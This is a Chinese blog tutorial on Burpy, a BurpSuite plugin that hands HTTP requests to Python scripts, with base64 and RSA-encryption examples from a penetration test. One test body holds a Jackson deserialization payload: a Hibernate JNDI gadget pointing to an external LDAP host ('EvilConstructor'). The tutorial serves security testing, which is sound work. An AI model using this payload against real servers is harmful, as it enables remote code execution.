打通BurpSuite与Python之间的任督二脉

二次信任 提交于 2020-08-12 11:29:27

Burpy是一款能够打通BurpSuite和Python之间任督二脉的插件,从此之后,你可以用你的python任意处理Http包了!

作用

执行指定python脚本,并将处理结果返回给BurpSuite。


 

功能、UI介绍

这里有个注意事项:要用python2。

在Burpy PY file path:里面指定好你自己的python脚本,点击start server,就可以开心的干活了。

大家注意看这里:



这个地方是一些开关,为了右键菜单更加简洁。点上之后,右键菜单会有变化。

把这些开关都点上,来看一眼右键菜单:

Burpy Main会自动调用我们脚本中的main方法
Burpy Enc会自动调用encrypt方法
依次类推。

Enable Processor和Enable Auto Enc/Dec这两个开关的功能比较特殊,这里分开说一下

打开enable processor之后,在使用Intruder进行暴力破解之类的动作时,如果payload需要进行加密或签名,我们就可以把加密/签名的算法实现到自己有python脚本的processor函数中。

脚本怎么写

在我们自己的脚本中,要新建一个Burpy类,此类在start server的时候会进行初始化。
Burpy类有这样几个函数:main, encrypt, decrypt, sign, processor,作用咱们上面提到了,不再重复

其中,main函数是必须的,因为右键菜单始终会有一个Burpy Main,这个菜单就是调用的main函数。(如果你连Burpy Main也不调用,这个函数也是可以没有的)

其他的函数看需要,可有可无。之所以这样设计是因为,不是每次你都要进行加解密操作,有时候你只需要进行个md5或者base64就行。贴不贴心?

Talk is cheap, show me the code!
下面咱们看几个例子吧!

编码

这是一个base64编码的例子,其实呢,base64功能很多插件都有,burpsuite自己也有,这里只是为了说明一下Burpy的用法。

  1. import base64

  2. class Burpy:

  3. '''

  4. header is list, append as your need

  5. body is string, modify as your need

  6. '''

  7. def main(self, header, body):

  8. return header, body

  9. def encrypt(self, header, body):

  10. body = base64.b64encode(body)

  11. return header, body

  12. def decrypt(self, header, body):

  13. return header, body

  14. def sign(self, header, body):

  15. return header, body

  16. def processor(self, payload):

  17. return payload+"burpyed"

很简单对不对?
Burpy的灵活之处就在这里,它把整个HTTP数据包都发送到脚本进行处理,HTTP头保存在header列表中,body是个字符串,想怎么处理就怎么处理,处理完把header和body返回就搞定。

上面的函数中,我们只用到了encrypt,其实其他函数都可以删掉的

加密

上面的例子太简单了有没有,这个功能很鸡肋,burpsuite中使用ctrl+b快捷键就完成了,还得写个脚本,这不是大晴天打伞——多此一举吗?
先在这说明一下:下面代码是做RSA加密的。在这个项目中,用户名和密码是经过RSA加密之后传给服务器的,服务器会解密,通过其他漏洞拿到源代码,分析之后发现可能存在Jackson反序列化漏洞,于是写了这个脚本来测试。
这个RSA加密中会取当前时间,再取一个6位随机字符,拼接成一个nonce,而公钥可以在浏览器的JS里面找到。如果没有这个插件,想做这件事基本上很难,找到js代码之后还要在浏览器是执行js代码,复制粘贴等等,幸好我们有Burpy,来看下脚本和体验如何吧!

  1. import json

  2. class Burpy:

  3. def main(self, header, body):

  4. body_json = json.loads(body)

  5. username = repr(body_json.get("username"))

  6. body_json["username"] = "_XXXX_ENC_:V1:RSA:XXXX0001:" + self.rsa_enc(username)

  7. body = json.dumps(body_json)

  8. return header, body

  9. def rsa_enc(self,data):

  10. from Crypto.PublicKey import RSA

  11. from base64 import b64decode,b64encode

  12. from Crypto.Cipher import PKCS1_v1_5

  13. import time

  14. import random

  15. t = int(round(time.time() * 1000))

  16. s = ""

  17. for i in range(6):

  18. s += str(random.randint(1,10))

  19. e = str(t) + s

  20. i = dict()

  21. i["text"] = data

  22. i["timestamp"] = t+5

  23. i["nonce"] = e

  24. pubStr = "MIIxxxxxx9hnjsRkHvPUVT91pl9fR9VKn/F/JbwrNlDZQOnd0AXxxxxxxxcP61EVOdEqAdtA1law/6Z9O4c1nHaDBblx3R9Sr7Lxxxxxx0kxoox7LlAInToUqU1ofWNf0FlF+A6kd1wZhil1Iha9NS8z7UfMx92jxh9RtGWFKxxxxxl4UJsQoS7krDN6skb8SLwga4QYUU3ua8GCxxxxxxx"

  25. msg = json.dumps(i)

  26. #msg = "1565246122420" + msg

  27. keyDER = b64decode(pubStr)

  28. keyPub = RSA.importKey(keyDER)

  29. cipher = PKCS1_v1_5.new(keyPub)

  30. ct = cipher.encrypt(msg.encode('utf-8'))

  31. ect = b64encode(ct)

  32. return ect

  33. def sign(self,data):

  34. from Crypto.PublicKey import RSA

  35. from base64 import b64decode,b64encode

  36. from Crypto.Cipher import PKCS1_v1_5

  37. import time

  38. import random

  39. t = int(round(time.time() * 1000))

  40. s = ""

  41. for i in range(6):

  42. s += str(random.randint(1,10))

  43. e = str(t) + s

  44. i = dict()

  45. i["text"] = data

  46. i["timestamp"] = t+5

  47. i["nonce"] = e

  48. pubStr = "xxxxxx722fdwcupvDquRSlfU7TRI6mRPXo9ALHEUYIA2Bnpt0lU8VcP61EVOdEqAdtA1law/6Z9O4c1nHaDBblx3R9Sr7Lw3KJj6P2pRM/eNxxxxx0kxoox7LlAInToUqU1ofWNf0FlF+A6kd1wZhilxxxxxxB"

  49. msg = json.dumps(i)

  50. #msg = "1565246122420" + msg

  51. keyDER = b64decode(pubStr)

  52. keyPub = RSA.importKey(keyDER)

  53. cipher = PKCS1_v1_5.new(keyPub)

  54. ct = cipher.encrypt(msg.encode('utf-8'))

  55. ect = b64encode(ct)

  56. return ect

  57. if __name__ == "__main__":

  58. b = Burpy()

  59. header = []

  60. body = '{"username": {"text": ["org.hibernate.jmx.StatisticsService",{"sessionFactoryJNDIName": "ldap://1.1.1.1:9001/EvilConstructor"}]}, "svcCode": "client:009", "password": "2", "orgCode": "xxxx"}'

  61. header1,body1 = b.main(header, body)

  62. print body1

来体验一把:


易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!